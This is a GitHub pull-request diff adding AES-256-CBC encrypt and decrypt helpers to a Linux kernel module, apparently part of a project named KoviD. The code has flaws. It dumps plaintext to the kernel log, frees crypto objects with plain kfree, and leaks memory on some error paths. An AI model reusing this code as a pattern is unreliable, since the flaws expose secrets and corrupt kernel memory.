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Merge pull request #146 from carloslack/aes_256
Aes 256
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,189 @@ | ||
| #include <linux/module.h> | ||
| #include <crypto/skcipher.h> | ||
| #include <linux/scatterlist.h> | ||
| #include <linux/random.h> | ||
| #include <linux/version.h> | ||
| #include <linux/skbuff.h> | ||
| #include <linux/tcp.h> | ||
| #include "log.h" | ||
| #include "crypto.h" | ||
| #include "lkm.h" | ||
|
|
||
| /** internal use transformation handle */ | ||
| static struct crypto_skcipher *tfm; | ||
|
|
||
| /** | ||
| * Setup encryption key | ||
| * Must be called once from KoviD initialization | ||
| */ | ||
| #define ENCKEY_LEN 32 /** aes 256 */ | ||
| int kv_crypto_key_init(void) { | ||
| static char key[ENCKEY_LEN] = {0}; | ||
| int rc; | ||
|
|
||
| /** Allocate AES-CBC */ | ||
| if (!crypto_has_skcipher("cbc(aes)", 0, 0)) { | ||
| prerr("Cipher not found\n"); | ||
| return 0; | ||
| } | ||
|
|
||
| /** Allocate for transformation | ||
| * Shared across all instances | ||
| */ | ||
| tfm = crypto_alloc_skcipher("cbc(aes)", 0, 0); | ||
| if (IS_ERR(tfm)) { | ||
| prerr("Failed to allocate cipher %ld\n", PTR_ERR(tfm)); | ||
| return 0; | ||
| } | ||
|
|
||
| get_random_bytes(key, ENCKEY_LEN); | ||
|
|
||
| /** Finally, set the key */ | ||
| rc = crypto_skcipher_setkey(tfm, key, ENCKEY_LEN); | ||
| if (rc < 0) { | ||
| prerr("Key init error %d\n", rc); | ||
| crypto_free_skcipher(tfm); | ||
| return 0; | ||
| } | ||
|
|
||
| return rc; | ||
| } | ||
|
|
||
| /** Encryption init | ||
| * Called for each encryption operation */ | ||
| struct kv_crypto_st *crypto_init(void) { | ||
| struct kv_crypto_st *kvmgc = kmalloc(sizeof(struct kv_crypto_st), GFP_KERNEL); | ||
| if (!kvmgc) { | ||
| prerr("Failed to allocate memory for vars\n"); | ||
| return NULL; | ||
| } | ||
|
|
||
| kvmgc->req = skcipher_request_alloc(tfm, GFP_KERNEL); | ||
| if (!kvmgc->req) { | ||
| prerr("Failed to allocate request\n"); | ||
| return NULL; | ||
| } | ||
|
|
||
| /** Generate a random IV each time */ | ||
| get_random_bytes(kvmgc->iv, sizeof(kvmgc->iv)); | ||
|
|
||
| return kvmgc; | ||
| } | ||
|
|
||
| size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *buf, size_t buflen) { | ||
| size_t copied = 0; | ||
| int rc; | ||
| u8 iv_orig[16] = {0}; | ||
|
|
||
| if (!kvmgc || !buf) { | ||
| prerr("Invalid decrypt ptr\n"); | ||
| return 0; | ||
| } | ||
|
|
||
| kvmgc->kv_data.buf = kmalloc(buflen, GFP_KERNEL); | ||
| if (!kvmgc->kv_data.buf) { | ||
| prerr("Memory error\n"); | ||
| return 0; | ||
| } | ||
|
|
||
| /** debug */ | ||
| print_hex_dump(KERN_DEBUG, "plain text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true); | ||
|
|
||
| memcpy(iv_orig, kvmgc->iv, sizeof(kvmgc->iv)); | ||
|
|
||
| sg_init_one(&kvmgc->sg, buf, buflen); | ||
| skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, buflen, kvmgc->iv); | ||
|
|
||
| /** encrypt */ | ||
| rc = crypto_skcipher_encrypt(kvmgc->req); | ||
| if (rc < 0) { | ||
| prerr("Encryption failed %d\n", rc); | ||
| kfree(kvmgc->kv_data.buf); | ||
| return 0; | ||
| } | ||
|
|
||
| copied = sg_copy_to_buffer(&kvmgc->sg, 1, buf, buflen); | ||
| if (copied != buflen) { | ||
| prerr("encrypted count mismatch, expected %lu, copied %lu\n", buflen, copied); | ||
| kfree(kvmgc->kv_data.buf); | ||
| return 0; | ||
| } | ||
|
|
||
| print_hex_dump(KERN_DEBUG, "encrypted text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true); | ||
|
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||
| memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv)); | ||
| memcpy(kvmgc->kv_data.buf, buf, buflen); | ||
| kvmgc->kv_data.buflen = buflen; | ||
|
|
||
| return copied; | ||
| } | ||
|
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||
| size_t kv_decrypt(struct kv_crypto_st *kvmgc, decrypt_callback cb, void *userdata) { | ||
| size_t copied = 0; | ||
|
|
||
| if (!kvmgc || !kvmgc->kv_data.buf || !cb) { | ||
| prerr("Invalid decrypt argument\n"); | ||
| } else { | ||
| u8 iv_orig[16] = {0}; | ||
| size_t buflen = kvmgc->kv_data.buflen; | ||
| u8 data_orig[buflen]; | ||
| int err = 0; | ||
|
|
||
| memcpy(iv_orig, kvmgc->iv, sizeof(kvmgc->iv)); | ||
| memcpy(data_orig, kvmgc->kv_data.buf, buflen); | ||
|
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||
| sg_init_one(&kvmgc->sg, kvmgc->kv_data.buf, buflen); | ||
| skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, buflen, kvmgc->iv); | ||
|
|
||
| /** decrypt */ | ||
| err = crypto_skcipher_decrypt(kvmgc->req); | ||
| if (err) { | ||
| prerr("Decryption failed\n"); | ||
| } | ||
|
|
||
| copied = sg_copy_to_buffer(&kvmgc->sg, 1, kvmgc->kv_data.buf, buflen); | ||
| if (copied != buflen) { | ||
| prerr("encrypted count mismatch, expected %lu, copied %ld\n", buflen, copied); | ||
| return 0; | ||
| } | ||
|
|
||
| { | ||
| /** user callback */ | ||
| const u8 * const buf = kvmgc->kv_data.buf; | ||
| cb(buf, buflen, copied, userdata); | ||
| } | ||
|
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| memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv)); | ||
| memcpy(kvmgc->kv_data.buf, data_orig, buflen); | ||
| } | ||
|
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||
| return copied; | ||
| } | ||
|
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| void kv_crypto_free_data(struct kv_crypto_st *kvmgc) { | ||
| if (kvmgc && kvmgc->kv_data.buf) { | ||
| kfree(kvmgc->kv_data.buf); | ||
| kvmgc->kv_data.buf = NULL; | ||
| } | ||
| } | ||
|
|
||
| void kv_crypto_mgc_deinit(struct kv_crypto_st *kvmgc) { | ||
|
|
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| if (kvmgc) { | ||
| kv_crypto_free_data(kvmgc); | ||
| if (kvmgc->req) { | ||
| kfree(kvmgc->req); | ||
| kvmgc->req = NULL; | ||
| } | ||
|
|
||
| kfree(kvmgc); | ||
| kvmgc = NULL; | ||
| } | ||
| } | ||
|
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||
| void kv_crypto_deinit(void) { | ||
| if (tfm) { | ||
| kfree(tfm); | ||
| tfm = NULL; | ||
| } | ||
| } |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,16 @@ | ||
| #ifndef __CRYPTO_H | ||
| #define __CRYPTO_H | ||
|
|
||
| struct kv_data_st { | ||
| u8 *buf; | ||
| size_t buflen; | ||
| }; | ||
|
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| struct kv_crypto_st { | ||
| u8 iv[16]; | ||
| struct scatterlist sg; | ||
| struct skcipher_request *req; | ||
| struct kv_data_st kv_data; | ||
| }; | ||
|
|
||
| #endif |
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